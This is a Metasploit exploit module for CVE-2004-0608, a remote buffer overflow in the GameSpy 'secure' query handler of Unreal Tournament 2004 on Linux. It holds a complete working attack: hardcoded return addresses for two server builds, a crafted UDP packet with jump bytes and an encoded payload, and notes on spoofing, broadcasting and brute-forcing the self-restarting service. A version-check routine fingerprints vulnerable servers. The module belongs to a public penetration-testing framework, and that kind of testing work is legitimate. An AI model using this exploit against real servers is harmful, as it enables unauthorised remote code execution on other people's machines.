##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Unreal Tournament 2004 "secure" Overflow (Linux)',
        'Description' => %q{
          This is an exploit for the GameSpy secure query in
          the Unreal Engine.

          This exploit only requires one UDP packet, which can
          be both spoofed and sent to a broadcast address.
          Usually, the GameSpy query server listens on port 7787,
          but you can manually specify the port as well.

          The RunServer.sh script will automatically restart the
          server upon a crash, giving us the ability to
          bruteforce the service and exploit it multiple
          times.
        },
        'Author' => [ 'onetwo' ],
        'License' => BSD_LICENSE,
        'References' => [
          [ 'CVE', '2004-0608'],
          [ 'OSVDB', '7217'],
          [ 'BID', '10570'],

        ],
        'Privileged' => true,
        'Payload' => {
          'Space' => 512,
          'BadChars' => "\x5c\x00"

        },
        'Platform' => 'linux',
        'Targets' => [
          ['UT2004 Linux Build 3120', { 'Rets' => [ 0x0884a33b, 0x08963460 ] }], # JMP ESP , (free/realloc) BSS pointer
          ['UT2004 Linux Build 3186', { 'Rets' => [ 0x088c632f, 0x089eb2f0 ] }],
        ],
        'DisclosureDate' => '2004-06-18',
        'Notes' => {
          'Stability' => [CRASH_SERVICE_RESTARTS],
          'Reliability' => [UNRELIABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(7787)
      ]
    )
  end

  def exploit
    connect_udp

    buf = make_nops(1024)
    buf[24, 4] = [target['Rets'][1]].pack('V')
    buf[44, 4] = [target['Rets'][0]].pack('V')
    buf[56, 4] = [target['Rets'][1]].pack('V')
    buf[48, 6] = "\x8d\x64\x24\x0c\xff\xe4" # LEA/JMP

    buf[0, 8] = '\\secure\\'
    buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded

    udp_sock.put(buf)

    handler
    disconnect_udp
  end

  def ut_version
    connect_udp
    udp_sock.put('\\basic\\')
    res = udp_sock.recvfrom(8192)
    disconnect_udp

    if res && (m = res.match(/\\gamever\\([0-9]{1,5})/))
      return m[1]
    end

    return
  end

  def check
    vers = ut_version

    if !vers
      return CheckCode::Unknown('Could not detect Unreal Tournament Server')
    end

    print_status("Detected Unreal Tournament Server Version: #{vers}")

    if (vers =~ /^(3120|3186|3204)$/)
      return CheckCode::Appears('This system appears to be exploitable')
    end

    if (vers =~ /^(2...)$/)
      return CheckCode::Detected('This system appears to be running UT2003')
    end

    return CheckCode::Safe('This system appears to be patched')
  end
end